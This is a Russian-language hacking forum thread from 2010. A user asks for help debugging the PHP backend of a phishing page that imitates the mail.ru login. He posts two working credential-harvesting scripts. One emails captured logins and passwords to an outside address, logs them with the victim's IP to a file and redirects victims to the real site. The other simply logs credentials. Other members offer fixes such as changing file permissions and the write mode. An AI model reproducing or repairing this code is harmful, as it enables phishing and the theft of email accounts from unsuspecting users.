Фейк: скрипт записи.

Discussion in 'Болталка' started by TYPUCT, 22 Dec 2010.

  1. TYPUCT

    TYPUCT New Member

    Joined:
    7 Sep 2010
    Messages:
    30
    Likes Received:
    3
    Reputations:
    0
    Добрый всем форумчанам день.
    В курсе что на форуме запрещены продажа фейков, но разрешаются их обсуждение.

    У меня такой вопрос, имеется фейк на валид и защитой от повтора на майл.ру, валид работает 100 %, отправляет запрос, если пароль не правильный веден то обратно возвращает на страницу фейка, если правильно то застывает на xxx.php функции которой является записи данных и отправка жертвы на нужную страницу.

    Вот сам скрипт записи данных:

    Code:
    <?PHP
    Error_Reporting(E_ALL & ~E_NOTICE);
    $Login = $_POST['Login'];
    $Domain = $_POST['Domain'];
    $Pass = $_POST['Password'];
    $from = "*******@mail.ru";
    $to = "******@ne4ego.net";
    $subj = " Данные: $Login@$Domain";
    $body = " Логин:$Login@$Domain Пароль:$Pass";
    $from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/plain; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit";
    $from=convert_cyr_string($from,"w","k");
    $to=convert_cyr_string($to,"w","k");
    $subj=convert_cyr_string($subj,"w","k");
    $body=convert_cyr_string($body,"w","k");
    mail($to,$subj,$body,$from);
    $c = "$Login@$Domain:$Pass";
    $fp = fopen("pass.php","a+");
    fwrite($fp,"\n [start-- $c -- end] \n");
    fclose($fp);
    header("Location: http://win.mail.ru/cgi-bin/start");
    echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?top=1">"
    ?>
    <?php
       $time = date("d.m.Y G:i.s");
       $ip = $_SERVER['REMOTE_ADDR'];
       $fd = fopen("pass.php", "a+");
       fwrite($fd, "$time---$ip\n");
       fclose($fd);
    ?>
    Код писал друг. Сам в пхп разбираюсь на уровне новичка, искал ошибку, но так и не нашел, на другом хостинге все было ок.
    Прощу подсказать где ошибка?
     
  2. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    права на pass.php поставь 777
    а вобще странный метод какой-то... в .php записывать...
    хотя если там <?php die(); ?> в начале, то ладно :rolleyes:
     
  3. TYPUCT

    TYPUCT New Member

    Joined:
    7 Sep 2010
    Messages:
    30
    Likes Received:
    3
    Reputations:
    0
    Права поставил, бесполезно, не понимаю в чем ошибка.
    Даже другие скрипты от других фейков не работают, даже самый просто код

    Code:
    <?PHP
    $Log = $_POST['login'];
    $Pass = $_POST['password'];
    $log = fopen("file.txt","at");
    fwrite($log,"\n $Log:$Pass \n");
    fclose($log);
    echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=******************'></head></html>";
    ?>
    бесполезен, у другана на том же хостинге все ок пашет, но посмотрел у него фейк по другому написан и не понял как отуда вытащить то что мне нужно.
     
  4. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    396
    Likes Received:
    79
    Reputations:
    16
    на папку, в которой файл тоже 777.
    написал бы хоть какого рода ошибка.
     
  5. TYPUCT

    TYPUCT New Member

    Joined:
    7 Sep 2010
    Messages:
    30
    Likes Received:
    3
    Reputations:
    0
    В первом посте все написал, просто скрипт не записывает данные ввода.
     
  6. shellz[21h]

    shellz[21h] Elder - Старейшина

    Joined:
    20 Dec 2007
    Messages:
    311
    Likes Received:
    68
    Reputations:
    6
    замени на $log = fopen("file.txt","w+");
    либо используй аналог file_put_contents( 'pass.php', ' context ', FILE_APPEND );
     
    #6 shellz[21h], 22 Dec 2010
    Last edited: 22 Dec 2010